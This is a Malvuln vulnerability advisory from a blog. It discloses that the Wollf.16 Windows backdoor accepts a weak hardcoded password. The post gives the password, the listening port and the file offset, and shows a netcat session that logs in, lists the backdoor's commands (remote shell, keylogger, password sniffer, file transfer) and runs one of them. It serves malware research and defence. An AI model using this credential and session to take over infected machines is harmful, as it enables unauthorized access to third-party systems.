Sunday, January 23, 2022

Backdoor.Win32.Wollf.16 Hardcoded Credential

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Weak Hardcoded Credentials
Description: The malware runs with SYSTEM integrity, listens on TCP port 1015 and is protected by Armadillo(3.00a-3.70a) & UPX(1.07)NRV,brute. However, the password "ddr_bkdoor" is weak and can be found at offset 0019F58C.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0463
Dropped files: ddradmin.exe
Disclosure: 01/20/2022

nc64.exe x.x.x.x 1015
Login: ddr_bkdoor

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf,

[[email protected]:\WINDOWS\system32]#HELP

DOS Switch to MS-DOS prompt
DIR/LS/LIST Directory and file list
CD Entry directory
MD/MKDIR Make directory
PWD Get current dirctory
COPY/CP Copy file
DEL/RM Delete directory/file
REN/RENAME Rename file
MOVE/MV Move file
TYPE/CAT Type text file

POPMSG Popup message box
SYSINFO Get system information
WHO/W Get current connections

SHELL Execute command by system shell(cmd.exe)
EXEC/RUN Execute file by windows API(WinExec)
WS Windows list
PS Process list
KILL Kill process

GET/GETFILE Download file from remote machine
PUT/PUTFILE Upload file to remote machine
WGET Get file from web server
FGET Get file from ftp server
FPUT Put file to ftp server
TELNET Connect to other host

FTPD Start ftp service
TELNETD/TELD/EXPORT Start telnet service (export shell)

REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port>
REDIR_STOP Stop redirect tcp data
SNIFF Sniff ftp/smtp/pop3/http password what via ethernet
SNIFF_STOP Stop ethernet sniffer
KEYLOG Start keyboard record
KEYLOG_STOP Stop keyboard record

REBOOT Reboot windows
SHUTDOWN Shutdown windows
EXIT Close current connection
QUIT Close all connection and abort service
REMOVE Remove service
VER/VERSION Version information
HELP/H/? Show help message

Type "HELP | MORE" for multipage display.

Command "HELP" succeed.

[[email protected]:\WINDOWS\system32]#POPMSG malvuln was here

Command "POPMSG" succeed.

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore